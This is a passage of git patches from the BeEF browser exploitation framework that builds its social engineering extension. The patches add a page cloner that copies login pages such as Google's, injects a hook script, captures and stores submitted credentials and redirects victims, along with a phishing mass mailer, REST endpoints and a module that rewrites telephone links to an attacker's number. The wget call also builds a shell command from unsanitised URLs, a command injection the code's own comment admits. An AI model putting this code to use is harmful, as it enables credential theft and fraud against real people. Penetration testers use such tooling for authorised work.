do not require authentication --- extensions/social_engineering/config.yaml | 1 + .../mass_mailer/mass_mailer.rb | 24 ++++++++++++++----- 2 files changed, 19 insertions(+), 6 deletions(-) diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index ad4c5d529..54cb64e62 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -26,6 +26,7 @@ beef: user_agent: "Microsoft-MacOutlook/12.12.0.111556" host: "smtp.gmail.com" port: 587 + use_auth: true use_tls: true helo: "gmail.com" # this is usually the domain name from: "yourmail@gmail.com" diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index ae0feb901..2e61b4dd8 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -55,12 +55,24 @@ module BeEF # create a new SMTP object, enable TLS with the previous instantiated context, and connects to the server smtp = Net::SMTP.new(@host, @port) smtp.enable_starttls(@ctx) unless @config.get("#{@config_prefix}.use_tls") == false - smtp.start(@helo, @from, @password, :login) do |smtp| - tos_hash.each do |mail, name| - message = compose_email(fromname, mail, name, subject, link, linktext, template) - smtp.send_message(message, @from, mail) - print_info "Mail #{x}/#{n} to [#{mail}] sent." - x += 1 + + if @config.get("#{@config_prefix}.use_auth") + smtp.start(@helo, @from, @password, :login) do |smtp| + tos_hash.each do |to, name| + message = compose_email(fromname, to, name, subject, link, linktext, template) + smtp.send_message(message, @from, to) + print_info "Mail #{x}/#{n} to [#{to}] sent." + x += 1 + end + end + else + smtp.start(@helo, @from) do |smtp| + tos_hash.each do |to, name| + message = compose_email(fromname, to, name, subject, link, linktext, template) + smtp.send_message(message, @from, to) + print_info "Mail #{x}/#{n} to [#{to}] sent." + x += 1 + end end end end From 0260181d33fc7088b34a5b1101f0102f55c2f6ea Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 29 Aug 2012 19:33:14 +0100 Subject: [PATCH 115/225] Social Eng. extension: added redirection after POST interception, refactored Interceptor class --- .../web_cloner/interceptor.rb | 16 +++++---- .../web_cloner/web_cloner.rb | 36 ++++--------------- 2 files changed, 15 insertions(+), 37 deletions(-) diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb index 7eba2ad46..af6a899cd 100644 --- a/extensions/social_engineering/web_cloner/interceptor.rb +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -19,13 +19,13 @@ module BeEF class Interceptor < Sinatra::Base - def initialize(file_path) - super - @config = BeEF::Core::Configuration.instance - @cloned_page = "" - File.open(file_path,'r').each do |line| - @cloned_page += line - end + def initialize(file_path, redirect_to) + super self + file = File.open(file_path,'r') + @cloned_page = file.read + @redirect_to = redirect_to + file.close + print_info "Cloned page using content from [cloned_pages/#{File.basename(file_path)}] initialized." end # intercept GET @@ -44,6 +44,8 @@ module BeEF print_info "Intercepted data:" print_info data + redirect @redirect_to + #todo: do a GET request on the target website, retrieve the respone headers and check if X-Frame-Options is present #todo: or framebusting is present. If is not present, open the original URL in an iFrame, otherwise redirect the user #todo: to the original page diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index f962b4e90..1261f51c8 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -27,40 +27,16 @@ module BeEF end def clone_page(url) - #todo see web_cloner.rb, work perfectly - # output.html and output2.html (the one with the form action modified to /) - # must be stored in cloned_pages print_info "Cloning page at URL #{url}" uri = URI(url) - - #output = url.split("/").last #todo test if http://google.com/ produces an error output = uri.host output_mod = "#{output}_mod" - user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') - #todo: prevent Command Injection - wget = "wget '#{url}' -O #{@cloned_pages_dir + output} --no-check-certificate -c -k -U '#{user_agent}'" - IO.popen(wget.to_s) { |f| @result = f.gets } - print_debug @result - #todo, also check if the URL is valid with: - #unless (url =~ URI::regexp).nil? - # # Correct URL - #end - - #todo: this should be the good way to prevent command injection, because the shell is not open. - #todo: there are issues: Scheme missing when calling wget - #wget_path = "wget" - #env = {} - #args = %W['#{url}' -O #{output} --no-check-certificate -c -k -U #{user_agent}] - #IO.popen([env, wget_path, *args], 'r+') { |f| @result = f.gets } - - - #if !File.writable?(File.basename(@cloned_pages_dir + output_mod)) - # print_info "Cannot write to file..." - # IO.popen("chmod 777 #{@cloned_pages_dir}") { |f| @result = f.gets } - # sleep 2 - #end + #todo: prevent command injection using IO.popen passing an array of arguments + # see here: http://devblog.avdi.org/2012/03/29/generating-cows-with-io-popen/ + wget = "wget '#{url}' --no-check-certificate -c -k -U '#{user_agent}' -O #{@cloned_pages_dir + output}" + IO.popen(wget.to_s) { |f| result = f.gets } File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| File.open("#{@cloned_pages_dir + output}", 'r').each do |line| @@ -92,8 +68,8 @@ module BeEF print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve - @http_server.mount("/#{output}", BeEF::Extension::SocialEngineering::Interceptor.new(file_path)) - print_info "Mounting cloned page on URL #{output}" + @http_server.mount("/#{output}", BeEF::Extension::SocialEngineering::Interceptor.new(file_path, url)) + print_info "Mounting cloned page on URL [/#{output}]" @http_server.remap end From 26c7696e0f3ae34e2a363867ffd22b4c37e70dea Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 29 Aug 2012 21:08:07 +0100 Subject: [PATCH 116/225] Social Eng. extension: if the page can be framed, load it in an overlay iFrame maintaining the hook :D --- .../web_cloner/interceptor.rb | 22 ++++++------ .../web_cloner/web_cloner.rb | 35 +++++++++++++++---- 2 files changed, 41 insertions(+), 16 deletions(-) diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb index af6a899cd..53ea3314f 100644 --- a/extensions/social_engineering/web_cloner/interceptor.rb +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -19,24 +19,25 @@ module BeEF class Interceptor < Sinatra::Base - def initialize(file_path, redirect_to) + def initialize(file_path, redirect_to, frameable, beef_hook) super self file = File.open(file_path,'r') @cloned_page = file.read @redirect_to = redirect_to + @frameable = frameable + @beef_hook = beef_hook file.close - print_info "Cloned page using content from [cloned_pages/#{File.basename(file_path)}] initialized." + print_info "Cloned page with content from [cloned_pages/#{File.basename(file_path)}] initialized." end # intercept GET get "/" do print_info "GET request" + print_info "Referer: #{request.referer}" @cloned_page end # intercept POST - # the 'action' attribute of the 'form' element is modified to the URI / - # in this way the request can be intercepted post "/" do print_info "POST request" request.body.rewind @@ -44,13 +45,14 @@ module BeEF print_info "Intercepted data:" print_info data - redirect @redirect_to - - #todo: do a GET request on the target website, retrieve the respone headers and check if X-Frame-Options is present - #todo: or framebusting is present. If is not present, open the original URL in an iFrame, otherwise redirect the user - #todo: to the original page + if @frameable + print_info "Page can be framed :-) Loading original URL into iFrame..." + "\n" + else + print_info "Page can not be framed :-) Redirecting to original URL..." + redirect @redirect_to + end end - end end end diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 1261f51c8..0648b91f0 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -24,6 +24,7 @@ module BeEF @http_server = BeEF::Core::Server.instance @config = BeEF::Core::Configuration.instance @cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/" + @beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}" end def clone_page(url) @@ -68,7 +69,10 @@ module BeEF print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve - @http_server.mount("/#{output}", BeEF::Extension::SocialEngineering::Interceptor.new(file_path, url)) + + # Check if the original URL can be framed + frameable = is_frameable(url) + @http_server.mount("/#{output}", BeEF::Extension::SocialEngineering::Interceptor.new(file_path, url, frameable, @beef_hook)) print_info "Mounting cloned page on URL [/#{output}]" @http_server.remap end @@ -76,14 +80,33 @@ module BeEF private # Replace with def add_beef_hook(line) - host = @config.get('beef.http.host') - port = @config.get('beef.http.port') - js = @config.get('beef.http.hook_file') - hook = "http://#{host}:#{port}#{js}" - line.gsub!("","\n") + line.gsub!("","\n") line end + private + # check if the original URL can be framed. NOTE: doesn't check for framebusting code atm + def is_frameable(url) + result = true + uri = URI(url) + http = Net::HTTP.new(uri.host, uri.port) + if uri.scheme == "https" + http.use_ssl = true + http.verify_mode = OpenSSL::SSL::VERIFY_NONE + end + request = Net::HTTP::Get.new(uri.request_uri) + response = http.request(request) + frame_opt = response["X-Frame-Options"] + + if frame_opt != nil + if frame_opt.casecmp("DENY") == 0 || frame_opt.casecmp("SAMEORIGIN") == 0 + result = false + end + end + print_info "Page can be framed: [#{result}]" + result + end + end end end From 6409b3d98fe1d06f257d121fea3b01292ad88789 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 29 Aug 2012 22:36:24 +0100 Subject: [PATCH 117/225] Social Eng. extension: mount point for phishing page is not configurable, refactored Interceptor initialization using config settings --- .../web_cloner/interceptor.rb | 24 ++++++++----------- .../web_cloner/web_cloner.rb | 15 ++++++++---- 2 files changed, 21 insertions(+), 18 deletions(-) diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb index 53ea3314f..3cf6551d3 100644 --- a/extensions/social_engineering/web_cloner/interceptor.rb +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -16,25 +16,21 @@ module BeEF module Extension module SocialEngineering - + require 'sinatra/base' class Interceptor < Sinatra::Base - def initialize(file_path, redirect_to, frameable, beef_hook) - super self - file = File.open(file_path,'r') - @cloned_page = file.read - @redirect_to = redirect_to - @frameable = frameable - @beef_hook = beef_hook - file.close - print_info "Cloned page with content from [cloned_pages/#{File.basename(file_path)}] initialized." + configure do + set :show_exceptions, false end # intercept GET get "/" do print_info "GET request" print_info "Referer: #{request.referer}" - @cloned_page + file = File.open(settings.file_path,'r') + cloned_page = file.read + file.close + cloned_page end # intercept POST @@ -45,12 +41,12 @@ module BeEF print_info "Intercepted data:" print_info data - if @frameable + if settings.frameable print_info "Page can be framed :-) Loading original URL into iFrame..." - "\n" + "\n" else print_info "Page can not be framed :-) Redirecting to original URL..." - redirect @redirect_to + redirect settings.redirect_to end end end diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 0648b91f0..13c799ded 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -27,7 +27,7 @@ module BeEF @beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}" end - def clone_page(url) + def clone_page(url, mount) print_info "Cloning page at URL #{url}" uri = URI(url) output = uri.host @@ -53,7 +53,7 @@ module BeEF end count += 1 end - line_attrs[count] = "action=\"/#{output}\"" + line_attrs[count] = "action=\"#{mount}\"" mod_form = line_attrs.join(" ") print_info "Form action value changed to / in order to be intercepted." out_file.print mod_form @@ -72,8 +72,15 @@ module BeEF # Check if the original URL can be framed frameable = is_frameable(url) - @http_server.mount("/#{output}", BeEF::Extension::SocialEngineering::Interceptor.new(file_path, url, frameable, @beef_hook)) - print_info "Mounting cloned page on URL [/#{output}]" + + interceptor = BeEF::Extension::SocialEngineering::Interceptor + interceptor.set :file_path, file_path + interceptor.set :redirect_to, url + interceptor.set :frameable, frameable + interceptor.set :beef_hook, @beef_hook + + @http_server.mount("#{mount}", interceptor.new) + print_info "Mounting cloned page on URL [#{mount}]" @http_server.remap end From 9ea0f60138e3311e57526ad0a9d1b61cda7a96ab Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 29 Aug 2012 22:48:45 +0100 Subject: [PATCH 118/225] Social Eng. extension: added default PDF attachment to config.yaml --- extensions/social_engineering/config.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index 54cb64e62..de77968e4 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -29,7 +29,7 @@ beef: use_auth: true use_tls: true helo: "gmail.com" # this is usually the domain name - from: "yourmail@gmail.com" + from: "youruser@gmail.com" password: "yourpass" # available templates templates: @@ -39,4 +39,4 @@ beef: images_cids: cid1: "beef_logo.png" #cid2: "second_image.png" - attachment: [""] + attachments: ["beef_attachment.pdf"] From a6a9af848305588becc4d9207e4555d268046f78 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 31 Aug 2012 14:07:33 +0100 Subject: [PATCH 119/225] Minor changes to main Server class (mounts need to be an instance variable) --- core/main/server.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/main/server.rb b/core/main/server.rb index b8ba556fd..e45fbbf77 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -62,9 +62,9 @@ module BeEF raise Exception::TypeError, '"url" needs to be a string' if not url.string? if args == nil - mounts[url] = http_handler_class + @mounts[url] = http_handler_class else - mounts[url] = http_handler_class, *args + @mounts[url] = http_handler_class, *args end print_debug("Server: mounted handler '#{url}'") end From 6b5302ef2109b360d9e5661feca42e7a7a29322b Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 31 Aug 2012 14:08:08 +0100 Subject: [PATCH 120/225] Social Eng. Extension: Added RESTful API calls for both mass_mailer and web_cloner --- extensions/social_engineering/extension.rb | 22 +++- .../rest/socialengineering.rb | 120 ++++++++++++++++++ 2 files changed, 136 insertions(+), 6 deletions(-) create mode 100644 extensions/social_engineering/rest/socialengineering.rb diff --git a/extensions/social_engineering/extension.rb b/extensions/social_engineering/extension.rb index 33ca7ac31..9b14498af 100644 --- a/extensions/social_engineering/extension.rb +++ b/extensions/social_engineering/extension.rb @@ -15,18 +15,28 @@ # module BeEF module Extension -module SocialEngineering - extend BeEF::API::Extension - @short_name = 'social_engineering' - @full_name = 'Social Engineering' - @description = 'Phishing attacks for your pleasure: web page cloner (POST interceptor and BeEF goodness), highly configurable mass mailer, etc.' -end + module RegisterSEngHandler + def self.mount_handler(server) + server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new) + end + end + + module SocialEngineering + extend BeEF::API::Extension + + @short_name = 'social_engineering' + @full_name = 'Social Engineering' + @description = 'Phishing attacks for your pleasure: web page cloner (POST interceptor and BeEF goodness), highly configurable mass mailer, etc.' + + BeEF::API::Registrar.instance.register(BeEF::Extension::RegisterSEngHandler, BeEF::API::Server, 'mount_handler') + end end end require 'extensions/social_engineering/web_cloner/web_cloner' require 'extensions/social_engineering/web_cloner/interceptor' require 'extensions/social_engineering/mass_mailer/mass_mailer' +require 'extensions/social_engineering/rest/socialengineering' diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb new file mode 100644 index 000000000..fe11469b8 --- /dev/null +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -0,0 +1,120 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +module BeEF + module Extension + module SocialEngineering + class SEngRest < BeEF::Core::Router::Router + + config = BeEF::Core::Configuration.instance + + before do + error 401 unless params[:token] == config.get('beef.api_token') + halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + headers 'Content-Type' => 'application/json; charset=UTF-8', + 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end + + #Example: curl -H "Content-Type: application/json; charset=UTF-8" + #-d '{"url":"https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue= + #https://mail.google.com/mail/&ss=1&scc=1<mpl=default<mplcache=2", "mount":"/url"}' + #-X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7 + post '/clone_page' do + request.body.rewind + begin + body = JSON.parse request.body.read + uri = body["url"] + mount = body["mount"] + + if uri != nil && mount != nil + if (uri =~ URI::regexp).nil? #invalid URI + "Invalid URI" + halt 401 + end + + if !mount[/^\//] # mount needs to start with / + print_error "Invalid mount (need to be a relative path, and start with / )" + halt 401 + end + + web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance + web_cloner.clone_page(uri,mount) + end + + rescue Exception => e + print_error "Invalid JSON input passed to endpoint /api/seng/clone_page" + error 400 # Bad Request + end + end + + # Example: curl -H "Content-Type: application/json; charset=UTF-8" -d 'json_body' + #-X POST http://127.0.0.1:3000/api/seng/send_mails?token=68f76c383709414f647eb4ba8448370453dd68b7 + # Example json_body: + #{ + # "template": "default", + # "subject": "Hi from BeEF", + # "fromname": "BeEF", + # "link": "http://www.microsoft.com/security/online-privacy/phishing-symptoms.aspx", + # "linktext": "http://beefproject.com", + # "recipients": [{ + # "user1@gmail.com": "Michele", + # "user2@antisnatchor.com": "Antisnatchor" + #}] + #} + post '/send_mails' do + request.body.rewind + begin + body = JSON.parse request.body.read + + template = body["template"] + subject = body["subject"] + fromname = body["fromname"] + link = body["link"] + linktext = body["linktext"] + + if template.nil? || subject.nil? || fromname.nil? || link.nil? || linktext.nil? + print_error "All parameters are mandatory." + halt 401 + end + + if (link =~ URI::regexp).nil? || (linktext =~ URI::regexp).nil?#invalid URI + print_error "Invalid link or linktext" + halt 401 + end + + recipients = body["recipients"][0] + + recipients.each do |email,name| + if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil? + print_error "Email [#{email}] or name [#{name}] are not valid/null." + halt 401 + end + end + + mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance + mass_mailer.send_email(template, fromname, subject, link, linktext, recipients) + rescue Exception => e + print_error "Invalid JSON input passed to endpoint /api/seng/clone_page" + error 400 + end + end + + end + end + end +end \ No newline at end of file From 9b1cae67903407c118ce7f688962cb06e53c735d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 31 Aug 2012 15:22:09 +0100 Subject: [PATCH 121/225] Added social_engineering extension to main BeEF config file. --- config.yaml | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/config.yaml b/config.yaml index 46c5e98c0..2c5939e42 100644 --- a/config.yaml +++ b/config.yaml @@ -20,12 +20,12 @@ beef: debug: false restrictions: - # subnet of browser ip addresses that can hook to the framework + # subnet of browser ip addresses that can hook to the framework permitted_hooking_subnet: "0.0.0.0/0" - # subnet of browser ip addresses that can connect to the UI + # subnet of browser ip addresses that can connect to the UI # permitted_ui_subnet: "127.0.0.1/32" permitted_ui_subnet: "0.0.0.0/0" - + http: debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" @@ -69,7 +69,7 @@ beef: # db_file is only used for sqlite db_file: "beef.db" - + # db connection information is only used for mysql/postgres db_host: "localhost" db_name: "beef" @@ -87,11 +87,13 @@ beef: # You may override default extension configuration parameters here extension: requester: - enable: true + enable: true proxy: - enable: true + enable: true metasploit: enable: false + social_engineering: + enable: false console: shell: enable: false From 8eb0e2d97326919f0dc2ff3b8f6f144ce91a02ef Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 1 Sep 2012 15:15:30 +0100 Subject: [PATCH 122/225] Social Eng. Extension: Added DB structure and logic for web_cloner and interceptor. --- extensions/social_engineering/extension.rb | 14 ++++++++ .../social_engineering/models/interceptor.rb | 35 ++++++++++++++++++ .../social_engineering/models/web_cloner.rb | 36 +++++++++++++++++++ .../rest/socialengineering.rb | 2 +- .../web_cloner/interceptor.rb | 10 ++++-- .../web_cloner/web_cloner.rb | 19 +++++++++- 6 files changed, 111 insertions(+), 5 deletions(-) create mode 100644 extensions/social_engineering/models/interceptor.rb create mode 100644 extensions/social_engineering/models/web_cloner.rb diff --git a/extensions/social_engineering/extension.rb b/extensions/social_engineering/extension.rb index 9b14498af..20f04a756 100644 --- a/extensions/social_engineering/extension.rb +++ b/extensions/social_engineering/extension.rb @@ -34,9 +34,23 @@ module Extension end end +# Handlers require 'extensions/social_engineering/web_cloner/web_cloner' require 'extensions/social_engineering/web_cloner/interceptor' require 'extensions/social_engineering/mass_mailer/mass_mailer' + +# Models +require 'extensions/social_engineering/models/web_cloner' +require 'extensions/social_engineering/models/interceptor' +#require 'extensions/social_engineering/models/mass_mailer' + +# RESTful api endpoints require 'extensions/social_engineering/rest/socialengineering' + + + + + + diff --git a/extensions/social_engineering/models/interceptor.rb b/extensions/social_engineering/models/interceptor.rb new file mode 100644 index 000000000..9a72cf64d --- /dev/null +++ b/extensions/social_engineering/models/interceptor.rb @@ -0,0 +1,35 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Core + module Models + class Interceptor + + include DataMapper::Resource + + storage_names[:default] = 'extension_seng_interceptor' + + property :id, Serial + + property :post_data, Text, :lazy => false + + belongs_to :webcloner + + end + + end + end +end diff --git a/extensions/social_engineering/models/web_cloner.rb b/extensions/social_engineering/models/web_cloner.rb new file mode 100644 index 000000000..2c4a0903c --- /dev/null +++ b/extensions/social_engineering/models/web_cloner.rb @@ -0,0 +1,36 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Core + module Models + class Webcloner + + include DataMapper::Resource + + storage_names[:default] = 'extension_seng_webcloner' + + property :id, Serial + + property :uri, Text, :lazy => false + property :mount, Text, :lazy => false + + has n, :extension_seng_interceptor, 'Interceptor' + + end + + end + end +end diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb index fe11469b8..fcb1c408b 100644 --- a/extensions/social_engineering/rest/socialengineering.rb +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -43,7 +43,7 @@ module BeEF if uri != nil && mount != nil if (uri =~ URI::regexp).nil? #invalid URI - "Invalid URI" + print_error "Invalid URI" halt 401 end diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb index 3cf6551d3..d8d19dfaa 100644 --- a/extensions/social_engineering/web_cloner/interceptor.rb +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -27,9 +27,7 @@ module BeEF get "/" do print_info "GET request" print_info "Referer: #{request.referer}" - file = File.open(settings.file_path,'r') - cloned_page = file.read - file.close + cloned_page = settings.cloned_page cloned_page end @@ -41,6 +39,12 @@ module BeEF print_info "Intercepted data:" print_info data + interceptor_db = BeEF::Core::Models::Interceptor.new( + :webcloner_id => settings.db_entry.id, + :post_data => data + ) + interceptor_db.save + if settings.frameable print_info "Page can be framed :-) Loading original URL into iFrame..." "\n" diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 13c799ded..1e3c68205 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -74,10 +74,11 @@ module BeEF frameable = is_frameable(url) interceptor = BeEF::Extension::SocialEngineering::Interceptor - interceptor.set :file_path, file_path interceptor.set :redirect_to, url interceptor.set :frameable, frameable interceptor.set :beef_hook, @beef_hook + interceptor.set :cloned_page, get_page_content(file_path) + interceptor.set :db_entry, persist_page(url,mount) @http_server.mount("#{mount}", interceptor.new) print_info "Mounting cloned page on URL [#{mount}]" @@ -114,6 +115,22 @@ module BeEF result end + def get_page_content(file_path) + file = File.open(file_path,'r') + cloned_page = file.read + file.close + cloned_page + end + + def persist_page(uri, mount) + webcloner_db = BeEF::Core::Models::Webcloner.new( + :uri => uri, + :mount => mount + ) + webcloner_db.save + webcloner_db + end + end end end From ab588c0f6816e87f03ee79c5f33cd108b41691be Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 2 Sep 2012 16:58:43 +0930 Subject: [PATCH 123/225] Add link_rewrite_tel module Fixes issue #721 --- core/main/client/dom.js | 25 +++++++++++++++++ .../hooked_domain/link_rewrite_tel/command.js | 24 ++++++++++++++++ .../link_rewrite_tel/config.yaml | 25 +++++++++++++++++ .../hooked_domain/link_rewrite_tel/module.rb | 28 +++++++++++++++++++ 4 files changed, 102 insertions(+) create mode 100644 modules/browser/hooked_domain/link_rewrite_tel/command.js create mode 100644 modules/browser/hooked_domain/link_rewrite_tel/config.yaml create mode 100644 modules/browser/hooked_domain/link_rewrite_tel/module.rb diff --git a/core/main/client/dom.js b/core/main/client/dom.js index 387b514bf..4cb0c2cba 100644 --- a/core/main/client/dom.js +++ b/core/main/client/dom.js @@ -194,6 +194,31 @@ beef.dom = { return count; }, + /** + * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number + * @param: {String} new_number: the new link telephone number to be written + * @param: {String} selector: the jquery selector statement to use, defaults to all a tags. + * @return: {Number} the amount of links found in the DOM and rewritten. + */ + rewriteTelLinks: function(new_number, selector) { + + var count = 0; + var re = new RegExp("tel:/?/?.*", "gi"); + var sel = (selector == null) ? 'a' : selector; + + $j(sel).each(function() { + if ($j(this).attr('href') != null) { + var url = $j(this).attr('href'); + if (url.match(re)) { + $j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; }); + count++; + } + } + }); + + return count; + }, + /** * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}] diff --git a/modules/browser/hooked_domain/link_rewrite_tel/command.js b/modules/browser/hooked_domain/link_rewrite_tel/command.js new file mode 100644 index 000000000..d51007a95 --- /dev/null +++ b/modules/browser/hooked_domain/link_rewrite_tel/command.js @@ -0,0 +1,24 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var tel_number = "<%= @tel_number %>"; + var selector = "a"; + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteTelLinks(tel_number, selector)+' telephone (tel) links rewritten to '+tel_number); + +}); + diff --git a/modules/browser/hooked_domain/link_rewrite_tel/config.yaml b/modules/browser/hooked_domain/link_rewrite_tel/config.yaml new file mode 100644 index 000000000..68618861e --- /dev/null +++ b/modules/browser/hooked_domain/link_rewrite_tel/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + link_rewrite_tel: + enable: true + category: ["Browser", "Hooked Domain"] + name: "Replace HREFs (TEL)" + description: "This module will rewrite all the href attributes of telephone links (ie, tel:5558585) to call a number of your choice." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/browser/hooked_domain/link_rewrite_tel/module.rb b/modules/browser/hooked_domain/link_rewrite_tel/module.rb new file mode 100644 index 000000000..929c62356 --- /dev/null +++ b/modules/browser/hooked_domain/link_rewrite_tel/module.rb @@ -0,0 +1,28 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Link_rewrite_tel < BeEF::Core::Command + + def self.options + return [ + { 'ui_label'=>'Number', 'name'=>'tel_number', 'description' => 'New telephone number', 'value'=>'5558585', 